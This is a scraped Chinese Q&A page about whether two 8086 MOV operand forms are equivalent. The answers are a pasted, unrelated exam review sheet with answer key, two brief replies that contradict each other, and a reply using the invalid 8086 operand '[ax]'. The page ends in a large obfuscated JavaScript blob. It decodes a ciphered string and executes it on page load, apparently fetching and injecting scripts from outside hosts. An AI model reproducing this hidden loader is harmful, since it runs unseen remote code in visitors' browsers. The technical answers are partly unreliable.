汇编语言中 MOV AX,[0100H]+2 和 MOV AX, [0100H+2]两种写法效果一样吗

2025-02-08 06:08:08
推荐回答(4个)
回答1:

汇编语言2005—2006学年第二学期期末考试复习题及参考答案一、填空1.十进制数369转换成二进制数为()2,转换成十六进制数为()16.2.计算机中的指令由()和(地址码)两部分组成。3.8086的地址总线有20根,寻址范围为()字节。4.下一条将要执行的指令的地址存放在寄存器()中。5.写出IBMPC机的三种子程序返回的指令(RET),(IRET),(IRETD)。6.汇编语言源程序需经过()程序汇编,()程序连接才能生成可执行文件。7.存储器某单元的地址表示为2314H:4132H,则它的偏移地址=(4132),物理地址=()8.REP指令前缀与()指令配合使用。9.在显示器上查看和修改内存单元的内容可以使用DEBUG的()和()命令。10.(AL)=BFH,要求屏蔽第0,1两位,则要执行指令();如果要求第0,1位变反,可使用指令()11.宏汇编适合于(),()的子功能段使用;二、选择题1.设字长N=16,有符号数7AE9H的补码表示为()A.9EA7HB.76C4HC.8417HD.7AE9H2.比较有符号数3260H与0B425H的大小关系为()A.相等B.小于C.大于D.不能比较3.指令JMPWORDPTR[BX][DI]中转移的目标地址为()A.16dx(DS)+(BX)+(DI)B.16dx(ES)+(BX)+(DI)C.16dx(SS)+(BX)+(DI)D.16dx(CS)+(BX)+(DI)4.在指令MOVAX,[1000H]中,源操作数的寻址方式为()A.立即寻址B.直接寻址C.段内间接寻址D.寄存器寻址5.中断矢量表中存放的是()A.中断类型号B.断点地址C.中断服务程序D.中断服务程序入口地址6.8086的汇编语言指令系统中的条件转移指令可以使程序转移到()A.段内的任何地方B.距该指令偏移地址为-32768~+32767的地方C.距该指令偏移地址为-128~+127的地方.D.段外7.能定义ASCII码字符串的数据定义语句有()A.DB,DW,DD,DQ,DTB.DB,DW,DDC.DB,DWD.DB;8.若(AL)=87H,执行ADDAL,0F5H后,S,Z,C,O,P的状态为()A.SF=0,ZF=0,CF=1,OF=1,PF=0B.SF=1,ZF=0,CF=1,OF=0,PF=1C.SF=0,ZF=0,CF=0,OF=1,PF=0D.SF=1,ZF=0,CF=1,OF=1,PF=19.比较指令CMP()A.专用于有符号数比较B.专用于无符号数比较C.专用于串比较D.不区分比较的对象是有符号数还是无符号数10.数据传送指令对标志位的影响为()A.都不影响;B.都影响;C.除了SAHF,POPF,其它均不影响.D.除了控制标志位,其它均不影响三、判断题()31.段间调用的子程序必须由伪操作FAR说明为远过程。()32.PC机以位作最小寻址单位。()33.当SRC是立即数时,DST可以使用存储器寻址。()34.指定各个逻辑段偏移地址可以使用ORG伪指令。()35.LOOPE/LOOPZ是相等/为零时转移到标号,其退出条件是(CX)=0或ZF=0。()36.POPIP()37.设327FH和0BFFFH为有符号数的补码表示,则327FH<0BFFFH()38.多个模块间的符号交叉引用要用伪指令PUBLIC和EXTRN说明()39.MOVAX,VAR1-VAR2+100()40.ADD[SI],50四、程序分析题1.ADW1234HBDW5678HPUSHAPUSHBPOPAPOPB试回答:上述程序段执行后(A)=,(B)=2.分析下面程序段,MOVAL,200SARAL,1MOVBL,ALMOVCL,2SARAL,CLADDAL,BL试问程序段执行后(BL)=(AL)=3.STRINGDB‘ABCDEFGHIJ'MOVAH,01;从键盘输入字符1~9INT21HANDAL,0FHDECALXORAH,AHMOVBX,OFFSETSTRINGADDBX,AXMOVBL,[BX]MOVAH,02H;显示输出INT21H试回答:(1)上述程序段的功能是什么?(2)如从键盘输入字符‘4',程序段有什么结果?4.有如下程序:ANDAL,ALJZBRCH1RCRAL,1JZBRCH2RCLAL,1INCALJZBRCH3上述程序运行后,试回答:(1)当(AL)=时,程序转向BRCH1(2)当(AL)=时,程序转向BRCH2(3)当(AL)=时,程序转向BRCH35.下列程序段完成什么工作?DAT1DB30DUP(?)DAT2DB10DUP(?)┇MOVCX,10MOVBX,20MOVSI,0MOVDI,0NEXT:MOVAL,DAT1〔BX〕〔SI〕MOVDAT2〔DI〕,ALINCSIINCDILOOPNEXT6.下面程序段执行完以后,AL的内容是什么?MOVBX,00FFHANDBX,0FFFHORBX,0F0FHXORBX,00FFH7.执行下列指令后,AX寄存器中的内容是什么?STARTDW10H,20H,30H,40H,50HEE1DW3┇MOVBX,OFFSETSTARTADDBX,EE1MOVAX,〔BX〕8.试分析下面程序段的功能是什么?CMPAL,‘A’JCOTHERCMPAL,‘Z’+1JNCOTHERJMPLETTER┇OTHER:┇LETTER:┇五、程序填空题1.设AX,BX中的数一个为正数,一个为负数,下面程序段完成将正数送到PLW单元中存放,请将程序中所缺指令语句补上。TESTAX,8000HMOVPLW,BXJMPDONEK1:DONE:2.现有下列数据段:DATASEGMENTSTR1DB‘ABCDEFGHIJKL'COUNTEQU-STR1BUFDBCOUNTDUP(0)DATAENDS下面程序段是实现把STR1中所有字符逆向传送到BUF缓冲区(即STR1中第一个字符送到BUF的最后一个单元,STR1中最后一字符送到BUF的第一个单元)。试把程序中所空缺的指令填上。MOVSI,OFFSETBUF-1MOVDI,OFFSETBUFMOVCX,COUNT____LOOP:MOVSB____LOOPLOP或者()六、程序设计题1.编程序段计算SUM=∑ai=a1+a2++a20,已知a1a20依次存放在以BUF为首址i=1的数据区,每个数据占两个字节,和数SUM也为两个字节。(要求用循环结构编写,循环控制采用计数控制)。(此题勿需书写源程序格式,只需把试题要求的有关指令序列书写出来。)2.设在DAT单元存放一个-9~+9的字节数据,在SQRTAB数据区中存放了0~9的平方值,请用直接查表法编写一个子程序,在SQRTAB中查找出DAT单元中数据对应的平方值送SQR单元。并写出主程序的调用方式。数据段如下:DATASEGMENTDATDBXXHSQRTABDB0,1,4,9,81SQRDB?DATAENDS3.试编写出把DX、AX中的双字右移四位的程序段。4.定义一个数据区,它包含有23H,24H,25H和26H四个字符数据,把这个数据区复制20次,并显示出复制结果。汇编语言2005—2006学年第二学期期末考试复习题及参考答案一、填空1.十进制数369转换成二进制数为(101110001)2,转换成十六进制数为(171)16.2.计算机中的指令由(操作码)和(地址码)两部分组成。3.8086的地址总线有20根,寻址范围为(1M)字节。4.下一条将要执行的指令的地址存放在寄存器(指令指针寄存器)中。5.写出IBMPC机的三种子程序返回的指令(RET),(IRET),(IRETD)。6.汇编语言源程序需经过(汇编)程序汇编,(连接)程序连接才能生成可执行文件。7.存储器某单元的地址表示为2314H:4132H,则它的偏移地址=(4132),物理地址=(27272H)8.REP指令前缀与()指令配合使用。9.在显示器上查看和修改内存单元的内容可以使用DEBUG的(D)和(E)命令。10.(AL)=BFH,要求屏蔽第0,1两位,则要执行指令(ANDAL,3F);如果要求第0,1位变反,可使用指令(XORAL,3F)11.宏汇编适合于(程序短),(参数多)的子功能段使用;二、选择题1.设字长N=16,有符号数7AE9H的补码表示为(D)A.9EA7HB.76C4HC.8417HD.7AE9H2.比较有符号数3260H与0B425H的大小关系为(C)A.相等B.小于C.大于D.不能比较3.指令JMPWORDPTR[BX][DI]中转移的目标地址为(A)A.16dx(DS)+(BX)+(DI)B.16dx(ES)+(BX)+(DI)C.16dx(SS)+(BX)+(DI)D.16dx(CS)+(BX)+(DI)4.在指令MOVAX,[1000H]中,源操作数的寻址方式为(B)A.立即寻址B.直接寻址C.段内间接寻址D.寄存器寻址5.中断矢量表中存放的是(D)A.中断类型号B.断点地址C.中断服务程序D.中断服务程序入口地址6.8086的汇编语言指令系统中的条件转移指令可以使程序转移到(A)A.段内的任何地方B.距该指令偏移地址为-32768~+32767的地方C.距该指令偏移地址为-128~+127的地方.D.段外7.能定义ASCII码字符串的数据定义语句有(D)A.DB,DW,DD,DQ,DTB.DB,DW,DDC.DB,DWD.DB;8.若(AL)=87H,执行ADDAL,0F5H后,S,Z,C,O,P的状态为(C)A.SF=0,ZF=0,CF=1,OF=1,PF=0B.SF=1,ZF=0,CF=1,OF=0,PF=1C.SF=0,ZF=0,CF=0,OF=1,PF=0D.SF=1,ZF=0,CF=1,OF=1,PF=19.比较指令CMP(D)A.专用于有符号数比较B.专用于无符号数比较C.专用于串比较D.不区分比较的对象是有符号数还是无符号数10.数据传送指令对标志位的影响为(D)A.都不影响;B.都影响;C.除了SAHF,POPF,其它均不影响.D.除了控制标志位,其它均不影响三、判断题()31.段间调用的子程序必须由伪操作FAR说明为远过程。T()32.PC机以位作最小寻址单位。F()33.当SRC是立即数时,DST可以使用存储器寻址。F()34.指定各个逻辑段偏移地址可以使用ORG伪指令。T()35.LOOPE/LOOPZ是相等/为零时转移到标号,其退出条件是(CX)=0或ZF=0。T()36.POPIPF()37.设327FH和0BFFFH为有符号数的补码表示,则327FH<0BFFFHF()38.多个模块间的符号交叉引用要用伪指令PUBLIC和EXTRN说明T()39.MOVAX,VAR1-VAR2+100F()40.ADD[SI],50F四、程序分析题1.ADW1234HBDW5678HPUSHAPUSHBPOPAPOPB试回答:上述程序段执行后(A)=5678H,(B)=1234H2.分析下面程序段,MOVAL,200SARAL,1MOVBL,ALMOVCL,2SARAL,CLADDAL,BL试问程序段执行后(BL)=0E4H(AL)=0DDH3.STRINGDB‘ABCDEFGHIJ'MOVAH,01;从键盘输入字符1~9INT21HANDAL,0FHDECALXORAH,AHMOVBX,OFFSETSTRINGADDBX,AXMOVBL,[BX]MOVAH,02H;显示输出INT21H试回答:(1)上述程序段的功能是什么?根据从键盘输入的字符‘1’~‘9’,确定在显示器上显示STRING中第几个字符。(2)如从键盘输入字符‘4',程序段有什么结果?显示器显示字符‘D’4.有如下程序:ANDAL,ALJZBRCH1RCRAL,1JZBRCH2RCLAL,1INCALJZBRCH3上述程序运行后,试回答:(1)当(AL)=(AL)=0时,程序转向BRCH1(2)当(AL)=(AL)=1时,程序转向BRCH2(3)当(AL)=(AL)=-1时,程序转向BRCH35.下列程序段完成什么工作?把DAT1+20存储单元开始的10个字节搬到DAT2开始的连续10个存储单元中DAT1DB30DUP(?)DAT2DB10DUP(?)┇MOVCX,10MOVBX,20MOVSI,0MOVDI,0NEXT:MOVAL,DAT1〔BX〕〔SI〕MOVDAT2〔DI〕,ALINCSIINCDILOOPNEXT6.下面程序段执行完以后,AL的内容是什么?0F00HMOVBX,00FFHANDBX,0FFFHORBX,0F0FHXORBX,00FFH7.执行下列指令后,AX寄存器中的内容是什么?3000HSTARTDW10H,20H,30H,40H,50HEE1DW3┇MOVBX,OFFSETSTARTADDBX,EE1MOVAX,〔BX〕8.试分析下面程序段的功能是什么?判断AL的内容,若为‘A’~‘Z’的大写字母时,程序转LETTER处理,否则转OTHER处理CMPAL,‘A’JCOTHERCMPAL,‘Z’+1JNCOTHERJMPLETTER┇OTHER:┇LETTER:┇五、程序填空题1.设AX,BX中的数一个为正数,一个为负数,下面程序段完成将正数送到PLW单元中存放,请将程序中所缺指令语句补上。TESTAX,8000HJEK1或JZK1MOVPLW,BXJMPDONEK1:MOVPLW,AXDONE:2.现有下列数据段:DATASEGMENTSTR1DB‘ABCDEFGHIJKL'COUNTEQU-STR1BUFDBCOUNTDUP(0)DATAENDS下面程序段是实现把STR1中所有字符逆向传送到BUF缓冲区(即STR1中第一个字符送到BUF的最后一个单元,STR1中最后一字符送到BUF的第一个单元)。试把程序中所空缺的指令填上。MOVSI,OFFSETBUF-1MOVDI,OFFSETBUFMOVCX,COUNT__CLD__LOOP:MOVSB__SUBSI,2__LOOPLOP或者(STD/ADDDI,2)六、程序设计题1.编程序段计算SUM=∑ai=a1+a2++a20,已知a1a20依次存放在以BUF为首址i=1的数据区,每个数据占两个字节,和数SUM也为两个字节。(要求用循环结构编写,循环控制采用计数控制)。(此题勿需书写源程序格式,只需把试题要求的有关指令序列书写出来。)程序段:MOVAX,0MOVBX,OFFSETBUFMOVCX,20LOP:ADDAX,[BX]INCBXINCBXLOOPLOPMOVSUM,AX2.设在DAT单元存放一个-9~+9的字节数据,在SQRTAB数据区中存放了0~9的平方值,请用直接查表法编写一个子程序,在SQRTAB中查找出DAT单元中数据对应的平方值送SQR单元。并写出主程序的调用方式。数据段如下:DATASEGMENTDATDBXXHSQRTABDB0,1,4,9,81SQRDB?DATAENDSSTACL1SEGMENTPARASTACKDW20HDUP(?)STACK1ENDSCODESEGMENTASSUMECS:CODE,DS:DATA,SS:STACK1START:MOVAX,DATAMOVDS,AX┇CALLSUBROT┇MOVAH,4CHINT21HSUBROTPROCPUSHAXPUSHBXLEABX,SQRTABMOVAL,DATTESTAL,80HJNSNEXTNEGALNEXT:XLATSQRTABMOVSQR,ALPOPBXPOPAXRETSUBROTENDPCODEENDSENDSRART3.试编写出把DX、AX中的双字右移四位的程序段。MOVCL,04SHRAX,CLMOVBL,DLSHRDX,CLSHLBL,CLORBL,AH4.定义一个数据区,它包含有23H,24H,25H和26H四个字符数据,把这个数据区复制20次,并显示出复制结果。DATASEGMENTPATTERNDB23H,24H,25H,26HDISPLAYDB80DUP(‘’),‘$’DATEENDSCODESEGMENT┇CLDLEASI,PATTERNLEADI,DISPLAYMOVCX,80REPMOVSBMOVAH,09HLEADX,DISPLAYINT21HRETCODEENDS

回答2:

当然不一样。
[0100H]+2 取0100H地址的值+2
[0100H+2] 取0100H+2地址的值。

回答3:

以我的经验,8086体系下:
MOV AX,[0100H]+2可能会报错的,如果不报错,那么肯定解释为MOV AX,[0100H+2],因为没有一条指令可以实现取0100H地址的值,再加2赋给AX

回答4:

ax是指ax这个累加寄存器如:movax,5------------------------------------------------------------------------------------(ax)一般只会出现在书上或者考试中吧,是指ax里面的内容是什么如:movax,5(ax)=5-------------------------------------------------------------------------------------[ax]是指用寄存器间接寻址方式获得数据如:内存单元0032H中有数据05Hmovax,0032Hmovbx,[ax]则(bx)=5-------------------------------------------------------------------------------------

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();